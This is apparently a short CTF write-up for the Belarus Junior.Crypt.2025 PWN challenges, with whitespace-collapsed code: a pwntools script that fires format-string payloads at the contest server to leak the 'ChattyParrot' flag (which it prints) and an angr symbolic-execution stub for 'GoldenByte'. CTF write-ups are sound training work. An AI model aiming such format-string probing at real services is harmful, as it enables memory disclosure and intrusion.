The Belarus Junior.Crypt.2025 CTF took place from July 1st to 3rd. We solved all 5 out of 5 PWN tasks. All the challenges were very easy and didn't even require detailed explanations. It was a good lesson for anyone starting out with PWN or wanting a refresher. More info about this CTF is here
ChattyParrot
from pwn import*context.log_level ='warning'env ={}env["FLAG_VAL"]="AAAA"context.update(arch='x86_64', os='linux')context.terminal =['wt.exe','wsl.exe']HOST="ctf.mf.grsu.by:9077"ADDRESS, PORT = HOST.split(":")BINARY_NAME="./ChattyParrot"binary = context.binary = ELF(BINARY_NAME, checksec=False)for i inrange(1,250): p = remote(ADDRESS, PORT)#p = process(binary.path, env=env) payload =f"%{i}$s".encode() info(f"Payload {i}: {payload}")try: p.sendlineafter(b"Input your phrase:", payload) recv = p.recvline().strip()except Exception as e: recv =b""print(f"[{i}] RECV: {recv}")ifb'grodno'in recv:print(f"[{i}] RECV: {recv}") p.close()p.interactive()
grodno{J35KiI_P4RR07_Drug_M47u3}
GoldenByte
import angr
import sys
defmain(argv): path_to_binary ="./GoldenByte" project = angr.Project(path_to_binary) initial_state = project.factory.entry_state()#sys.set_int_max_str_digits(100000000) odhaczyc jak bedzie krzyczal, ze nie ma pamieci sm = project.factory.simgr(initial_state)# list of basic blocks to find or to avoid sm.explore(find=[], avoid=[])for state in sm.deadended:print(state.posix.dumps(sys.stdin.fileno()))else:raise Exception('Could not find the solution')if __name__ =='__main__': main(sys.argv)